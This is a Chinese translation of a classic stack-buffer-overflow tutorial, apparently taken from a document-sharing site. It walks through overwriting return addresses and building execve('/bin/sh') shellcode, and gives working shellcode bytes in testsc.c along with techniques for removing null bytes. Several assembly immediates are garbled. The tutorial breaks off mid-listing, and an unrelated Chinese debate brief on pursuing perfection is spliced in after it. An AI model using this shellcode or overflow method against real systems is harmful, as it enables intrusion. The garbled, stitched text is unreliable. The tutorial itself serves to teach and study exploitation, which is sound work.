当前位置:文档之家› 溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit

溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit

溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit
溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit

'践踏堆栈'[C语言编程] n. 在许多C语言的实现中,有可能通过写入例程

中所声明的数组的结尾部分来破坏可执行的堆栈.所谓'践踏堆栈'使用的

代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为

险恶的数据相关漏洞(已人所共知).其变种包括堆栈垃圾化(trash the stack),堆栈乱写(scribble the stack),堆栈毁坏(mangle the stack);

术语mung the stack并不使用,因为这从来不是故意造成的.参阅spam?

也请参阅同名的漏洞,胡闹内核(fandango on core),内存泄露(memory

leak),优先权丢失(precedence lossage),螺纹滑扣(overrun screw).

简介

~~~~~~~

在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文试图

解释什么是缓冲区溢出, 以及如何利用.

汇编的基础知识是必需的. 对虚拟内存的概念, 以及使用gdb的经验是十分有

的, 但不是必需的. 我们还假定使用Intel x86 CPU, 操作系统是Linux.

在开始之前我们给出几个基本的定义: 缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例. C程序员通常和字缓冲区数组打交道.

最常见的是字符数组. 数组, 与C语言中所有的变量一样, 可以被声明为静态

或动态

的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈

之中.

溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心

动态

缓冲区的溢出问题, 即基于堆栈的缓冲区溢出.

进程的内存组织形式

~~~~~~~~~~~~~~~~~~~~

为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在

内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在

堆栈

区域, 但首先按照顺序简单介绍一下其他区域.

文本区域是由程序确定的, 包括代码(指令)和只读数据. 该区域相当于可执行

文件的文本段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段

错误

(segmentation violation).

数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数据区域对应可执行文件中的data-bss段. 它的大小可以用系统调用brk(2)来改变.

如果bss数据的扩展或用户堆栈把可用内存消耗光了, 进程就会被阻塞住, 等待有了

一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间.

/------------------\ 内存低地址

| |

| 文本 |

| |

|------------------|

| (已初始化) |

| 数据 |

| (未初始化) |

|------------------|

| |

| 堆栈 |

| |

\------------------/ 内存高地址

Fig. 1 进程内存区域

什么是堆栈?

~~~~~~~~~~~~~

堆栈是一个在计算机科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:

最后一个放入堆栈中的物体总是被最先拿出来, 这个特性通常称为后进先处(LIFO)队列.

堆栈中定义了一些操作. 两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入一

个元素. POP操作相反, 在堆栈顶部移去一个元素, 并将堆栈的大小减一.

为什么使用堆栈?

~~~~~~~~~~~~~~~~

现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程

序时

最重要的技术是过程(procedure)和函数(function). 从这一点来看, 一个过程调用可

以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,

函数把控制权返回给调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.

堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返

回值也要用到堆栈.

堆栈区域

~~~~~~~~~~

堆栈是一块保存数据的连续内存. 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.

堆栈的底部在一个固定的地址. 堆栈的大小在运行时由内核动态地调整. CPU实现指令

PUSH和POP, 向堆栈中添加元素和从中移去元素.

堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑

堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈

帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值.

堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我

们的例子中, 堆栈是向下增长的. 这是很多计算机的实现方式, 包括Intel, Motorola,

SPARC和MIPS处理器. 堆栈指针(SP)也是依赖于具体实现的. 它可以指向堆栈的最后地址,

或者指向堆栈之后的下一个空闲可用地址. 在我们的讨论当中, SP指向堆栈的最后地址.

除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定

地址的指针叫做帧指针(FP). 有些文章把它叫做局部基指针(LB-local base pointer).

从理论上来说, 局部变量可以用SP加偏移量来引用. 然而, 当有字被压栈和出栈后, 这

些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移

量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些

机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现.

因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,

因为它们到FP的距离不会受到PUSH和POP操作的影响. 在Intel CPU中, BP(EBP)用于这

个目的. 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.

考虑到我们堆栈的增长方向, 从FP的位置开始计算, 函数参数的偏移量是正值, 而局部

变量的偏移量是负值.

当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以

恢复). 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间. 这称为

例程的序幕(prolog)工作. 当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾

(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于

有效地序幕和收尾工作.

下面我们用一个简单的例子来展示堆栈的模样:

example1.c:

------------------------------------------------------------------------------

void function(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

}

void main() {

function(1,2,3);

}

------------------------------------------------------------------------------

为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产

生汇编代码输出:

$ gcc -S -o example1.s example1.c

通过查看汇编语言输出, 我们看到对function()的调用被翻译成:

pushl

pushl

pushl

call function

以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call

会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做

的第一件事情是例程的序幕工作:

pushl %ebp

movl %esp,%ebp

subl ,%esp

将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这

个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间.

我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节

的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)

的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时

堆栈的模样(每个空格代表一个字节):

内存低地址内存高地址

buffer2 buffer1 sfp ret a b c

<------ [ ][ ][ ][ ][ ][ ][ ]

堆栈顶部堆栈底部

缓冲区溢出

~~~~~~~~~~~~

缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果. 如何利

用这个

经常出现的编程错误来执行任意代码呢? 让我们来看看另一个例子:

example2.c

------------------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++)

large_string[i] = 'A';

function(large_string);

}

------------------------------------------------------------------------------

这个程序的函数含有一个典型的内存缓冲区编码错误. 该函数没有进行边界检查就复

制提供的字符串, 错误地使用了strcpy()而没有使用strncpy(). 如果你运行这个程序就

会产生段错误. 让我们看看在调用函数时堆栈的模样:

内存低地址内存高地址

buffer sfp ret *str

<------ [ ][ ][ ][ ]

堆栈顶部堆栈底部

这里发生了什么事? 为什么我们得到一个段错误? 答案很简单: strcpy()将*str的

内容(larger_string[])复制到buffer[]里, 直到在字符串中碰到一个空字符. 显然,

buffer[]比*str小很多. buffer[]只有16个字节长, 而我们却试图向里面填入256个字节

的内容. 这意味着在buffer之后, 堆栈中250个字节全被覆盖. 包括SFP, RET,

甚至*str!

我们已经把large_string全都填成了A. A的十六进制值为0x41. 这意味着现在的返回地

址是0x41414141. 这已经在进程的地址空间之外了. 当函数返回时, 程序试图读取返回

地址的下一个指令, 此时我们就得到一个段错误.

因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程.

现在回到第一个例子, 回忆当时堆栈的模样:

内存低地址内存高地址

buffer2 buffer1 sfp ret a b c

<------ [ ][ ][ ][ ][ ][ ][ ]

堆栈顶部堆栈底部

现在试着修改我们第一个例子, 让它可以覆盖返回地址, 而且使它可以执行任意代码.

堆栈中在buffer1[]之前的是SFP, SFP之前是返回地址. ret从buffer1[]的结尾算起是4个

字节.应该记住的是buffer1[]实际上是2个字即8个字节长. 因此返回地址从buffer1[]的开

头算起是12个字节. 我们会使用这种方法修改返回地址, 跳过函数调用后面的赋值语句

'x=1;', 为了做到这一点我们把返回地址加上8个字节. 代码看起来是这样的:

example3.c:

------------------------------------------------------------------------------

void function(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

int *ret;

ret = buffer1 + 12;

(*ret) += 8;

}

void main() {

int x;

x = 0;

function(1,2,3);

x = 1;

printf("%d\n",x);

}

------------------------------------------------------------------------------

我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过

赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用

过一个试验值(比如1), 编译该程序, 祭出工具gdb:

------------------------------------------------------------------------------

[aleph1]$ gdb example3

GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(no debugging symbols found)...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000490 : pushl %ebp

0x8000491 : movl %esp,%ebp

0x8000493 : subl x4,%esp

0x8000496 : movl x0,0xfffffffc(%ebp)

0x800049d : pushl x3

0x800049f : pushl x2

0x80004a1 : pushl x1

0x80004a3 : call 0x8000470

0x80004a8 : addl xc,%esp

0x80004ab : movl x1,0xfffffffc(%ebp)

0x80004b2 : movl 0xfffffffc(%ebp),%eax

0x80004b5 : pushl %eax

0x80004b6 : pushl x80004f8

0x80004bb : call 0x8000378

0x80004c0 : addl x8,%esp

0x80004c3 : movl %ebp,%esp

0x80004c5 : popl %ebp

0x80004c6 : ret

0x80004c7 : nop

---------------------------------------------------------------------

---------

我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab 的赋值

指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.

Shell Code

~~~~~~~~~~

现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?

在大多数情况下我们只是希望程序派生出一个shell. 从这个shell中, 可以执行任何我

们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们

怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我

们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈

的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:

内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高

地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址

buffer sfp ret a b c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]

^ |

|____________________________|

堆栈顶部堆栈底部

派生出一个shell的C语言代码是这样的:

shellcode.c

-----------------------------------------------------------------------------

#include

void main() {

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

------------------------------------------------------------------------------

为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住

在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,

取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.

------------------------------------------------------------------------------

[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c

[aleph1]$ gdb shellcode

GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 : pushl %ebp

0x8000131 : movl %esp,%ebp

0x8000133 : subl x8,%esp

0x8000136 : movl x80027b8,0xfffffff8(%ebp)

0x800013d : movl x0,0xfffffffc(%ebp)

0x8000144 : pushl x0

0x8000146 : leal 0xfffffff8(%ebp),%eax

0x8000149 : pushl %eax

0x800014a : movl 0xfffffff8(%ebp),%eax

0x800014d : pushl %eax

0x800014e : call 0x80002bc <__execve>

0x8000153 : addl xc,%esp

0x8000156 : movl %ebp,%esp

0x8000158 : popl %ebp

0x8000159 : ret

End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl %ebp

0x80002bd <__execve+1>: movl %esp,%ebp

0x80002bf <__execve+3>: pushl %ebx

0x80002c0 <__execve+4>: movl xb,%eax

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

0x80002ce <__execve+18>: int x80

0x80002d0 <__execve+20>: movl %eax,%edx

0x80002d2 <__execve+22>: testl %edx,%edx

0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>

0x80002d6 <__execve+26>: negl %edx

0x80002d8 <__execve+28>: pushl %edx

0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>

0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl %edx,(%eax)

0x80002e1 <__execve+37>: movl xffffffff,%eax

0x80002e6 <__execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb <__execve+47>: nop

End of assembler dump.

------------------------------------------------------------------------------

下面我们看看这里究竟发生了什么事情. 先从main开始研究:

------------------------------------------------------------------------------

0x8000130 : pushl %ebp

0x8000131 : movl %esp,%ebp

0x8000133 : subl x8,%esp

这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针,

然后为局部变量保留空间. 这里是:

char *name[2];

即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的

空间.

0x8000136 : movl x80027b8,0xfffffff8(%ebp)

我们把0x80027b8(字串"/bin/sh"的地址)这个值复制到name[]中的第一个指针, 这

等价于:

name[0] = "/bin/sh";

0x800013d : movl x0,0xfffffffc(%ebp)

我们把值0x0(NULL)复制到name[]中的第二个指针, 这等价于:

name[1] = NULL;

对execve()的真正调用从下面开始:

0x8000144 : pushl x0

我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始.

0x8000146 : leal 0xfffffff8(%ebp),%eax

把name[]的地址放到EAX寄存器中.

0x8000149 : pushl %eax

接着就把name[]的地址压入堆栈中.

0x800014a : movl 0xfffffff8(%ebp),%eax

把字串"/bin/sh"的地址放到EAX寄存器中

0x800014d : pushl %eax

接着就把字串"/bin/sh"的地址压入堆栈中

0x800014e : call 0x80002bc <__execve>

调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中.

------------------------------------------------------------------------------

现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随

操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用

软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在

寄存器里, 并且使用软中断跳入内核模式.

---------------------------------------------------------------------

---------

0x80002bc <__execve>: pushl %ebp

0x80002bd <__execve+1>: movl %esp,%ebp

0x80002bf <__execve+3>: pushl %ebx

例程的准备工作.

0x80002c0 <__execve+4>: movl xb,%eax

把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引

11就是execve.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

把"/bin/sh"的地址放到寄存器EBX中.

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

把name[]的地址放到寄存器ECX中.

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

把空指针的地址放到寄存器EDX中.

0x80002ce <__execve+18>: int x80

进入内核模式.

---------------------------------------------------------------------

---------

由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下:

a) 把以NULL结尾的字串"/bin/sh"放到内存某处.

b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word).

c) 把0xb放到寄存器EAX中.

d) 把字串"/bin/sh"的地址放到寄存器EBX中.

e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.

(注: 原文d和e步骤把EBX和ECX弄反了)

f) 把空长字的地址放到寄存器EDX中.

g) 执行指令int x80.

但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令,

这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execve

调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit

系统调用. exit系统调用在汇编语言看起来象什么呢?

exit.c

------------------------------------------------------------------------------

#include

void main() {

exit(0);

}

------------------------------------------------------------------------------

------------------------------------------------------------------------------

[aleph1]$ gcc -o exit -static exit.c

[aleph1]$ gdb exit

GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(no debugging symbols found)...

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034c <_exit>: pushl %ebp

0x800034d <_exit+1>: movl %esp,%ebp

0x800034f <_exit+3>: pushl %ebx

0x8000350 <_exit+4>: movl x1,%eax

0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx

0x8000358 <_exit+12>: int x80

0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx

0x800035d <_exit+17>: movl %ebp,%esp

0x800035f <_exit+19>: popl %ebp

0x8000360 <_exit+20>: ret

0x8000361 <_exit+21>: nop

0x8000362 <_exit+22>: nop

0x8000363 <_exit+23>: nop

End of assembler dump.

------------------------------------------------------------------------------

系统调用exit会把0x1放到寄存器EAX中, 在EBX中放置退出码, 并且执行"int 0x80".

就这些了! 大多数应用程序在退出时返回0, 以表示没有错误. 我们在EBX中也放入0. 现

在我们构造shell code的步骤就是这样的了:

a) 把以NULL结尾的字串"/bin/sh"放到内存某处.

b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word).

c) 把0xb放到寄存器EAX中.

d) 把字串"/bin/sh"的地址放到寄存器EBX中.

e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.

(注: 原文d和e步骤把EBX和ECX弄反了)

f) 把空长字的地址放到寄存器EDX中.

g) 执行指令int x80.

h) 把0x1放到寄存器EAX中.

i) 把0x0放到寄存器EAX中.

j) 执行指令int x80.

试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串

地址和空字, 我们有如下的代码:

------------------------------------------------------------------------------

movl string_addr,string_addr_addr

movb x0,null_byte_addr

movl x0,null_addr

movl xb,%eax

movl string_addr,%ebx

leal string_addr,%ecx

leal null_string,%edx

int x80

movl x1, %eax

movl x0, %ebx

int x80

/bin/sh string goes here.

------------------------------------------------------------------------------

问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到

哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就

是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切

地址. 如果我们在字串"/bin/sh"之前放一个CALL指令, 并由一个JMP指令转到CALL指令上.

当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是

把返回地址放到一个寄存器之中. CALL指令只是调用我们上述的代码就可以了. 假定J代

表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示:

内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高

地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址

buffer sfp ret a b c

<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]

^|^ ^| |

|||_____________||____________| (1)

(2) ||_____________||

|______________| (3)

堆栈顶部堆栈底部

运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:

------------------------------------------------------------------------------

jmp offset-to-call # 2 bytes

popl %esi # 1 byte

movl %esi,array-offset(%esi) # 3 bytes

movb x0,nullbyteoffset(%esi)# 4 bytes

movl x0,null-offset(%esi) # 7 bytes

movl xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal array-offset(%esi),%ecx # 3 bytes

leal null-offset(%esi),%edx # 3 bytes

int x80 # 2 bytes

movl x1, %eax # 5 bytes

movl x0, %ebx # 5 bytes

int x80 # 2 bytes

call offset-to-popl # 5 bytes

/bin/sh string goes here.

------------------------------------------------------------------------------

通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的

偏量, 我们得到:

------------------------------------------------------------------------------

jmp 0x26 # 2 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb x0,0x7(%esi) # 4 bytes

movl x0,0xc(%esi) # 7 bytes

movl xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int x80 # 2 bytes

movl x1, %eax # 5 bytes

movl x0, %ebx # 5 bytes

int x80 # 2 bytes

call -0x2b # 5 bytes

.string \"/bin/sh\" # 8 bytes

------------------------------------------------------------------------------

这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题.

我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们

必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数

据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb

来取得二进制代码.

shellcodeasm.c

------------------------------------------------------------------------------

void main() {

__asm__("

jmp 0x2a # 3 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb x0,0x7(%esi) # 4 bytes

movl x0,0xc(%esi) # 7 bytes

movl xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int x80 # 2 bytes

movl x1, %eax # 5 bytes

movl x0, %ebx # 5 bytes

int x80 # 2 bytes

call -0x2f # 5 bytes

.string \"/bin/sh\" # 8 bytes

");

}

------------------------------------------------------------------------------

------------------------------------------------------------------------------

[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c

[aleph1]$ gdb shellcodeasm

GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 : pushl %ebp

0x8000131 : movl %esp,%ebp

0x8000133 : jmp 0x800015f

0x8000135 : popl %esi

0x8000136 : movl %esi,0x8(%esi)

0x8000139 : movb x0,0x7(%esi)

0x800013d : movl x0,0xc(%esi)

0x8000144 : movl xb,%eax

0x8000149 : movl %esi,%ebx

0x800014b : leal 0x8(%esi),%ecx

0x800014e : leal 0xc(%esi),%edx

0x8000151 : int x80

0x8000153 : movl x1,%eax

0x8000158 : movl x0,%ebx

0x800015d : int x80

0x800015f : call 0x8000135

0x8000164 : das

0x8000165 : boundl 0x6e(%ecx),%ebp

0x8000168 : das

0x8000169 : jae 0x80001d3 <__new_exitfn+55>

0x800016b : addb %cl,0x55c35dec(%ecx)

End of assembler dump.

(gdb) x/bx main+3

0x8000133 : 0xeb

(gdb)

0x8000134 : 0x2a

(gdb)

.

.

.

------------------------------------------------------------------------------

testsc.c

------------------------------------------------------------------------------

char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

---------------------------------------------------------------------

---------

------------------------------------------------------------------------------

[aleph1]$ gcc -o testsc testsc.c

[aleph1]$ ./testsc

$ exit

[aleph1]$

------------------------------------------------------------------------------

成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出.

那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾, 复制工作就到此为

止了. 对于我们的破解工作来说, 在shellcode里不能有NULL字节. 下面来消除这些字节,

同时把代码精简一点.

Problem instruction: Substitute with:

--------------------------------------------------------

movb x0,0x7(%esi) xorl %eax,%eax

molv x0,0xc(%esi) movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

--------------------------------------------------------

movl xb,%eax movb xb,%al

--------------------------------------------------------

movl x1, %eax xorl %ebx,%ebx

movl x0, %ebx movl %ebx,%eax

inc %eax

--------------------------------------------------------

Our improved code:

shellcodeasm2.c

------------------------------------------------------------------------------

void main() {

__asm__("

jmp 0x1f # 2 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

xorl %eax,%eax # 2 bytes

movb %eax,0x7(%esi) # 3 bytes

生活的快乐在于追求完美 辩论赛

①快乐:基本解释:心意稍顺详细解释:欢乐。谓感到幸福或满意。 ②烦恼:烦恼是一个名词,指令人不顺心或不畅快的人或事。也可以是一个形容词,指不顺心不畅快,烦闷苦恼。 ③生活:生活指为生存发展而进行各种活动。 ④追求:用积极的行动来争取达到某种目的。追求,绝不是让你静静地等待。因为物质面貌、权势地位、或特长本质等等迷人的特质,深深吸引自己去梦寐以求地拥有,构成我们眼里独特的魅力,于是有一股来自内心的鼓动化做为行动力,去接近占有。 ⑤完美:完美指完备美好;没有缺陷,是心里遐想的世界,现实中并不存在,是人们渴望得到并追求的一种理念和动力,是存在思想中的。 立论: 1. 人这一生最大的痛苦,其实是没有奋斗的目标。不管这个奋斗中遇到多少的挫折,只要 目标仍然存在,他就能够继续追求下去。建议你看一下《悲惨世界》或者《基督山伯爵》,前者里面的那位警长,发现自己多年追捕的人是一个好人后,他选择自杀;基督山伯爵大仇得报以后,他也几乎选择自杀。最大的痛苦不是遇上多少挫折,而是没有奋斗目标。 2.追求完美不等于达到完美或者得到了完美,追求完美是一个过程,因此在奋斗的过程中 我们看到自己每一点进步这就值得我们快乐。追求着完美,是一个不断完善自己的过程,而不是达到完美。 3.人生在世,匆匆忙忙,每个人都应该有追求的目标。。 4.追求完美不等于过分追求完美。 论点: 1. 个体的不断发展或人类的不断进步本就是对完美状态的矢志追求——只有不断追求完 美才能进步。 2. 反方应该如何办呢?反方是否暗含着“量力而行”,但“量力而行”却并不意味着不能 和不去追求完美。比如女人根据实际个人经济状况购买化妆品,她依然是践行着对“完美的美丽”的追求,只不过过程和方式不同罢了,如果我是正方便会如此反驳反方许多此类例子。 3. 追求着完美,是一个不断完善自己的过程,而不是达到完美。完美不存在的,世上没有 十全十美之物,“金无足赤,人无完人”。但是完美是一面镜子,在镜子里我们看到了自身存在的问题与思想上的不足。完美不在我们的眼前,它就在我们的心里。诸多不完美的我们,就是完美的母亲,因为完美,我们愿意付出不完美的所有。 4. 人生在世,匆匆忙忙,每个人都应该有追求的目标。如果没有追求,没有理想,生活将 变的空虚迷茫。古语有云:有志之人立长志。只有追求更高的的目标,才能在人生的道路上看到更美的风景。即使这目标高耸入云,即使这路上充满艰辛险阻,但会当凌绝顶,一览众山小,便会知道,生活本应美好,美好源于追求完美。 5. 正因为有“乌托邦”“世外桃源”的想法,人类的发展才有了远大的目标和方向,不断 的去完善去追求才是人类生活的意义所在。马克思的一生是幸福的,正是因为他的一生在为一个完美的世界而奋斗,在为共产主义事业而奋斗。在中国近百年的历史中有多少仁人志士为了他们心中完美的新中国而奋斗,他们的一生虽然困苦艰辛,但是正因为他们的奋斗才有了我们现今的美好生活。你能说他们追求的完美不是美好的幸福的吗?6. 再次我方想谈谈生活,不知反方对生活的理解如何,在辞海中这样解释生活——人类为 了生存和发展而进行的各种活动,正是为了发展我们才去追求高的目标,我们应该用长远的发展的眼光看待生活。用短暂的烦恼换来长久的美好,这何乐而不为呢? 7. 其实生活是否美好更多的在于个人的心态,价值观的不同对同一事物的看法也就不同,

关于快乐的名言名句大全

